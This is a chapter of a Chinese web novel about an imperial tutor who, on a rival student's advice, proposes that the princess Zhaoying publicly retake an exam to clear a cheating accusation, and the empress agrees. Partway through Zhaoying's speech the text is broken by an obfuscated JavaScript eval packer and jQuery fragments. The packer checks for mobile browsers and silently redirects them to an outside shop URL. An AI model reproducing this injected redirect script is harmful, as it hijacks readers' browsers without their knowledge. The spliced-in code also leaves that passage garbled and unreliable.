19. 献策

作品:《死对头要我娶她共掌天下

    太傅在书房里坐了一夜。


    面前的桌案上,监考记录、学子答卷、昭荧这一个月来交上来的策论草稿堆得满满当当。


    烛火跳了三跳,他添了几次油,头发又白了几根。


    “王女考试当日,申时三刻交卷,期间未曾离席……”他喃喃念着监考的供述,又拿起昭荧的答卷,眉头拧成个死结。


    过了一会,把答卷放下,又拿起草稿,又放下,又拿起监考记录……


    折腾到天亮,他得出一个结论:既没有证据证明王女作弊,也没有铁证证明她清白。


    “这可如何是好……”他揉着眉心,嘴里发苦。


    再过两个时辰就要向陛下复命,他总不能两手空空去说“臣查不出来”吧?


    窗外天色渐亮,宫学那边该开课了,太傅却一步都迈不动,坐在椅子里,盯着那堆纸发愁。


    裴泠箬今日来得比往常早。


    她手里拿着昨日没弄懂的策论题,走到书房门口时,却见太傅没去讲课,一个人坐在里面,眉头拧成了疙瘩。


    她在门口站了片刻,还是走上前,叩了叩门框:“太傅。”


    太傅一回神,看见是她,勉强挤出一丝笑意:“裴小姐,何事?”


    “学生有一题不解,想请教太傅。”裴泠箬递上题目,目光扫过桌案上那堆凌乱的文书。


    监考记录、答卷、草稿……她垂下眼,轻声问:“太傅似有心事,不知可否告知?”


    太傅叹了口气,把那道策论题接过来放在一旁,摇了摇头:“此事事关王女,牵连甚广,裴小姐不必知晓,免得为难。”


    他不想把裴泠箬牵扯进来。


    她和王女向来不对付,这事要是再把她扯进来,反倒说不清楚。


    裴泠箬却没有要走的意思。


    她站在原地,神色平静:“太傅所愁,想必是王女考试作弊一事,查无实据,又无法证明其清白,难以向陛下复命吧?”


    太傅一愣,抬头看她。


    “你如何知道?”


    裴泠箬没答这话,只淡淡道:“此事其实不难。”


    太傅眼睛微微睁大。


    “让王女当众把此次大考的卷子再写一遍便是。”


    太傅猛地站起身。


    椅子往后一滑,发出一声刺耳的响,他却浑然不觉,眼睛亮得像点了灯:“对啊!老夫怎么没想到!”


    让王女当众重考,题目不变,监考加倍。


    若写出的答卷与原卷思路一致、条理相近,便是最好的证明,既不用纠结过往,也能让所有人信服!


    他激动得在书房里来回踱步,嘴里念念有词:


    “当众重考,所有人都看着,谁还能说什么?若是能写出一样的,那就是真本事;若是写不出来……”


    他顿了顿,没往下说。


    裴泠箬也没接话,只微微颔首:“太傅若觉得可行,便速去禀报陛下吧,学生的问题,改日再请教便是。”


    说完,她躬身行礼,转身走出了书房。


    太傅站在门口,看着她的背影消失在走廊尽头,才后知后觉地想起一件事——


    裴小姐和王女不是水火不容吗?怎么今日倒主动来帮她想主意?


    他想了想,没想明白,索性不想了。


    低头看看手里的策论题,又看看桌案上那堆纸,把题目往袖子里一塞,大步流星往御书房赶。


    御书房里的气氛,比太傅预想的还可怕。


    他还没走到门口,就听见里面传来姬明玥冰冷的声音,穿透力极强,连廊下的侍卫都低着头大气不敢出:


    “朕推行仁政,让你们安心教养子女,你们就是这么教的?纵容孩子凭着臆测污蔑皇嗣,聚众斗殴,毫无教养!”


    “陛下息怒——”几个声音叠在一起,又慌又颤。


    “臣回去定好好教训犬子,求陛下开恩……”


    “臣教女无方,甘愿受罚,求陛下看在孩子年纪尚小的份上……”


    太傅在门口站定,正要敲门,就听见里面传来一个嬉皮笑脸的声音:


    “皇姐,消消气,气坏了身子不值当。”


    太傅手一顿。


    “这些人虽说管教无方,但也知道认错,不如看在她们往日还算安分的份上,从轻发落?


    您这一顿骂,她们回去肯定得把孩子腿打断,够够的了。”


    这声音——逍遥王姬明琅?


    太傅嘴角抽了抽。


    这位王爷不是在封地逍遥快活吗?什么时候回的京?


    哦对,上次王女惹祸就听说她回京了,唉,王女这般秉性多半也是学了她了。


    里面,姬明玥的语气依旧冰冷,但明显比方才缓和了几分:“从轻发落?朕若从轻发落,下次他们还敢纵容子女肆意妄为!”


    “那不能,皇姐您一句话,他们哪还敢有下次?”


    太傅连忙敲门:“陛下,臣有要事禀报!”


    “进。”


    太傅推门进去,一眼扫过御书房里的情形——


    几个贵族家长齐刷刷跪在地上,周彦的母亲礼部尚书跪在最前面,额头贴着地面,肩膀微微发抖;太常寺卿跪在她旁边,手攥着帕子不停擦汗。


    姬明玥坐在御座上,神色冰冷。


    而一旁的椅子上,姬明琅手里拿着块糖糕,正悠哉悠哉地吃着,见太傅进来还冲他扬了扬下巴,算是打过招呼。


    昭荧站在姬明玥身侧,脸上的伤已经被太医处理过,贴了一小块药膏,嘴角还有一点淤青,看着可怜巴巴的。


    太傅收回视线,上前躬身行礼:“陛下,臣有喜讯禀报!”


    姬明玥挑眉:“太傅请讲。”


    “关于王女考试作弊一事,臣找到了证明王女清白的方法!”


    此言一出,跪在地上的几个人同时抬起头,脸色变了几变。


    太傅直起身,语速比平时快了不少:“让王女当众重考一次,沿用此次大考的题目,安排双倍监考,全程公开。


    若王女写出的答卷与原卷思路一致、条理相近,便足以证明其清白,也能让所有质疑者无话可说!”


    话音落下,昭荧眼睛刷地亮了,脸上的委屈一扫而空,挺直腰背就开口:


    “姨母,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391808|200316||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我愿意重考!我一定能写出一样的答卷,证明自己没有作弊!”


    姬明玥还没说话,姬明琅先放下糖糕,挑眉看过来:“哦?我们家荧儿这么有信心?”


    昭荧用力点头。


    姬明琅嘴角勾起一抹玩味的笑,拍拍手上的糖渣:


    “那可得好好考,别给你母王丢脸,你要是考砸了,我可就当没你这个闺女了。”


    “你什么时候当有这个闺女了?”姬明玥冷冷瞥她一眼。


    姬明琅讪讪闭嘴,又拿起一块糖糕。


    姬明玥收回视线,看向太傅,沉吟片刻,点了点头:“好,立刻安排,今日下午,就在宫学大殿。”


    她扫了一眼跪在地上的几个人,语气不容置疑:“宫学所有学子、今日进宫的官员,还有宫学的所有太傅,都到场见证,全程公开,不许有半点猫腻。”


    “臣遵旨!”太傅躬身领命。


    跪在地上的几个家长脸色已经白得没了血色。


    礼部尚书嘴唇哆嗦着,想说什么,被旁边的人拽了一把,又把话咽了回去。


    这时候说什么都是错,只能祈祷那位王女是真的——真的什么?她们也不敢说啊!


    姬明玥挥手让她们退下,几个人踉踉跄跄地爬起来,逃也似的退出御书房。


    门关上,姬明琅又开口了:“皇姐,您说荧儿这丫头,是真有本事还是虚张声势?”


    姬明玥没理她,看向昭荧。


    昭荧对上姨母的目光,心里咯噔一下,但还是硬着头皮说:“姨母,我真的能写好,那一个月的功课,我不是白做的。”


    姬明玥看着她,沉默片刻,语气里听不出喜怒:“那就好好考,考好了,朕有赏,考砸了——”


    “姨母宽心,我不会考砸的。”


    话及此,姬明玥也不再说什么,挥挥手让她回去准备。


    昭荧转身要走,经过姬明琅身边时,被她一把拽住袖子。


    “哎,荧儿。”姬明琅压低声音,凑到她耳边:“你要是真能考好,母王送你一匹好马。”


    昭荧眼睛一亮,随即又板起脸:“我不要马,我要你以后别总说我是纨绔。”


    “你本来就是啊。”


    “母王!”


    “好好好,不说了不说了。”姬明琅笑着松手,冲她挤挤眼睛:“去吧,好好准备。”


    昭荧气鼓鼓地走了。


    御书房里只剩姐妹二人。


    姬明玥靠在椅背上,姬明琅就赶紧狗腿的上前帮其按摩太阳穴,却听姐姐忽然开口:“你觉得她能考好?”


    姬明琅收起嬉皮笑脸,难得正经了几分:“不知道,但她既然敢应,就说明心里有底,这丫头,别的不说,骨子里的倔劲像我。”


    姬明玥冷笑一声:“像你?呵!像你就完了。”


    “皇姐您这话说的——”


    姬明琅不乐意了:“像我怎么了?我好歹也是您亲妹妹,大周朝正儿八经的逍遥王,封地治理得井井有条——”


    “行了。”姬明玥打断她:“你少说两句,朕头疼。”


    姬明琅识趣地闭上嘴。